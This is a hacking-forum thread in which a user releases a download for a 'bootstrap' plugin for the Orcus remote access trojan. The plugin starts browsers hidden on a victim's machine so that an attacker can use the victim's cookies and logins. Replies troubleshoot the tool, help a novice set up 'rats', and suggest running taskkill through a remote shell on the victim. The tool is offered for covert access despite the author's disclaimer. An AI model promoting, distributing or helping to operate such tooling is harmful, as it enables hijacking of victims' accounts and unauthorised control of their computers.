[Nick (Name)]

PoC Video

Summary

I know this video is old but I've been getting a lot of private messages about it and where to download it. I don't get on this forum often anymore to answer questions about Orcus or really develop plugins anymore. Sorzus implemented a feature in 1.8.2, I believe, that allowed you to execute programs on the client's machine, either in view, hidden, or hidden and mirrored to the administrator. This feature was very limited as it would only execute programs that you could upload to the client, so I decided to make an extremely simple program to launch other programs installed on the client's machine. In the video I showcase me executing Chrome on the client's machine outside of their view to use their cookies and local data, which pretty much throws out all the reverse proxy bullshit and cookie importing hassle which most malicious users do to gain access to user's accounts and more.

I've notified Orcus Technologies about this point of concept when I first tested it around the first quarter of 2017, no patches have been pushed or any mitigation to prevent this, I feel like I've given them enough time to deal with this potential malicious concept. So I am hereby releasing the point of concept binary, it uses the .NET Framework 3.5 runtime and is not obfuscated, I do NOT want this sold at all, no exceptions, or redistributed without the proper credit, even though the program is extremely simple and anyone with a brain can develop it. I am not responsible with what user's do with this PoC and do not intend it for malicious use.

Changelog
Version 1.0.4.7
  • Arguments/parameters can be executed along with the bootstrapped program
  • If the program is already running, it will be killed after 10 seconds to allow capture
  • More verbal execution process

Version 1.0.5.3
  • Assembly info is displayed on console title
  • Console hides after process execution
  • Fixed issues for Firefox and Brave browsers


Current Version Download
VirusTotal Scan: link
Download: google.com/file/d/1YTblFK4_p00OykDMe9qcsxINfGt6k36y]link
Mirror 1 Mirror 2
MD5 Hash: fbb27b31b0a3e94814744ff981a812aa

[ImSimplyNameless]

Your HF looks much cooler dafuq

[john441]

hey man, I always got this error "object reference not set to an instance of an object" when I try to execute chrome.exe or any browser in the arguments.

help me

[casperr]

hey man, I always got this error "object reference not set to an instance of an object" when I try to execute chrome.exe or any browser in the arguments.

help me

before you try to execute it go to task manager and kill all chrome tasks.
after you killed it try to execute it again and you are done.
GL

[QU⚡CKSILVER]

Just get a remote shell and do "taskkill /im chrome.exe /f"

[moiomy]

Very nice but link is dead(

[Nick (Name)]

Very nice but link is dead(

Thanks for the notice, I changed the download to Google Drive.

---

Added mirrors to ensure alternative downloads.

[ĐĮΜĘ]

ARES here. Good job Nick. I'll see you around

[kauf]

impressive, and can't this work on other browser than chrome?

[Thresh]

Thanks for the share, this looks amazing

[Vampir]

figured out :) and tell me why blinks often, can I fix it?

noticed on win 10 does not blink, at 7 blinks

[Nick (Name)]

I have updated the bootstrap to resolve some issues that were occurring when using the bootstrap program, here are the changes:

   • Arguments/parameters can be executed along with the bootstrapped program
   • If the program is already running, it will be killed after 10 seconds to allow capture
   • More verbal execution process

---

I will be recording and uploading a more in-depth and verbal tutorial on how to use the program in the near future to clear up some confusion :)

[Egy boi]

So i am a tad new to hacking and rats and stuff of this nature so how do i set this up from the bootstrap? Lmao i probably sound stupid, Thanks.

[Nick (Name)]

Orcus bootstrap, does it works with other rat has the main rat website is down now. i need your comment pls

No it only works with Orcus Administrator, the domain https://OrcusTechnologies.com/ is currently under review, but the site has been moved to https://orcus.pw/ temporarily.

[kinsella]

Can someone confirm if this HVNC still works well with Orcus?